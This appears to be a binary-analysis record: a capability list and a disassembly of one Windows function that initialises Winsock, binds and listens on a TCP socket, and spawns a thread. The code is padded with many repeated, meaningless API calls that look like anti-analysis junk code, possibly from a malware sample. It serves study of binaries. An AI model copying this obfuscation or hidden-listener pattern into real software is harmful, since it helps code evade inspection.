Function at 0x40e220
Capabilities:
Check for time delay via gettickcount
Create tcp socket
Create thread
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1ac
mov eax, dword [esp + 0x1c8]
push ebx
push ebp
push esi
push edi
push 0x411424
mov dword [0x411420], eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov ebx, dword [sym.imp.msvcrt.dll_malloc]
push 0x24
call ebx
mov edi, dword [esp + 0x1d0]
mov ecx, dword [esp + 0x1c4]
mov edx, dword [esp + 0x1cc]
mov esi, eax
mov eax, dword [esp + 0x1c8]
xor ebp, ebp
add esp, 4
cmp edi, ebp
mov dword [esp + 0x10], esi
mov byte [esi], 0
mov dword [esi + 4], ecx
mov dword [esi + 8], edx
mov dword [esi + 0x10], 0x80
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], ebp
je 0x40e2cc
call dword [sym.imp.msvcrt.dll_rand]
call fcn.00403030
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40e2a0
sub eax, edx
push eax
call ebx
mov ecx, edi
add esp, 4
mov dword [esi + 0x14], eax
lea ebx, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40e2b7
sub ecx, ebx
push ecx
push edi
push eax
call dword [sym.imp.msvcrt.dll_strncpy]
add esp, 0xc
mov eax, dword [esp + 0x1d0]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [esi + 0x18], ebp
mov esi, dword [sym.imp.KERNEL32.DLL_GetVersion]
cmp eax, ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
je 0x40e406
call ebx
call ebp
push 0
call dword [fcn.0040f810]
add esp, 4
call esi
call ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call edi
call ebp
call ebx
call esi
call esi
call edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call esi
call ebp
call ebp
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call ebp
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call ebp
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call fcn.00403030
call esi
call dword [sym.imp.msvcrt.dll_rand]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call edi
call ebx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 0
call dword [fcn.0040f810]
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
call fcn.00403030
push 0
call dword [fcn.0040f810]
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call ebx
call esi
call esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call edi
call esi
call ebx
mov eax, dword [esp + 0x1d0]
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e3c0
sub eax, ecx
push eax
call dword [sym.imp.msvcrt.dll_malloc]
mov ecx, dword [esp + 0x14]
mov dword [ecx + 0x18], eax
mov ecx, dword [esp + 0x1d4]
lea edx, [ecx + 1]
add esp, 4
mov dword [esp + 0x14], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40e3e8
sub ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1d4]
push ecx
push eax
call dword [sym.imp.msvcrt.dll_strncpy]
add esp, 0xc
lea edx, [esp + 0x2c]
push edx
push 0x202
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x40e476
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call fcn.00403030
push 0
call dword [fcn.0040f810]
push 0
call dword [fcn.0040f810]
add esp, 8
call ebp
call edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call ebp
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call edi
call dword [sym.imp.msvcrt.dll_rand]
call ebp
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call esi
call ebx
call ebp
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1ac
ret 0x1c
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov ecx, dword [esp + 0x10]
mov dword [ecx + 0x1c], eax
mov dword [esp + 0x14], eax
xor eax, eax
mov word [esp + 0x18], 2
mov ax, word [ecx + 0xc]
push eax
call dword [sym.imp.WSOCK32.dll_htons]
mov ecx, dword [esp + 0x10]
mov word [esp + 0x1a], ax
mov eax, dword [ecx + 4]
test eax, eax
je 0x40e507
push 0
call dword [fcn.0040f810]
add esp, 4
call edi
call fcn.00403030
call fcn.00403030
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call edi
call esi
call ebx
call esi
call edi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call ebx
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
jmp 0x40e515
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [esp + 0x1c], 0
mov edx, dword [esp + 0x14]
push 0x10
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.WSOCK32.dll_bind]
test eax, eax
jge 0x40e54e
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call esi
call ebx
call fcn.00403030
call esi
pop edi
pop esi
pop ebp
mov eax, 0xfffffffc
pop ebx
add esp, 0x1ac
ret 0x1c
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x10]
mov edx, dword [esp + 0x14]
push ecx
push edx
call dword [sym.imp.WSOCK32.dll_listen]
test eax, eax
jge 0x40e5bc
call edi
call fcn.00403030
call fcn.00403030
call edi
call fcn.00403030
call ebp
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
call esi
call esi
call fcn.00403030
call fcn.00403030
mov esi, dword [fcn.0040f810]
push 0
call esi
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0
call esi
add esp, 4
call ebx
pop edi
pop esi
pop ebp
mov eax, 0xfffffffd
pop ebx
add esp, 0x1ac
ret 0x1c
call ebp
call dword [sym.imp.msvcrt.dll_rand]
call edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
call ebp
mov ebp, dword [fcn.0040f810]
push 0
call ebp
add esp, 4
call esi
call dword [sym.imp.msvcrt.dll_rand]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call esi
call esi
call fcn.00403030
call edi
push 0
call ebp
add esp, 4
call ebx
call edi
push 0x2c
call dword [sym.imp.msvcrt.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x40e653
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x28]
push ecx
push 0
push esi
push 0x40e010
push 0
push 0
mov dword [esi], edi
mov dword [esi + 4], eax
mov dword [esi + 0x28], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
mov dword [edi + 0x20], eax
jne 0x40e665
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push esi
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 0xfffffffb
pop ebx
add esp, 0x1ac
ret 0x1c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1ac
ret 0x1c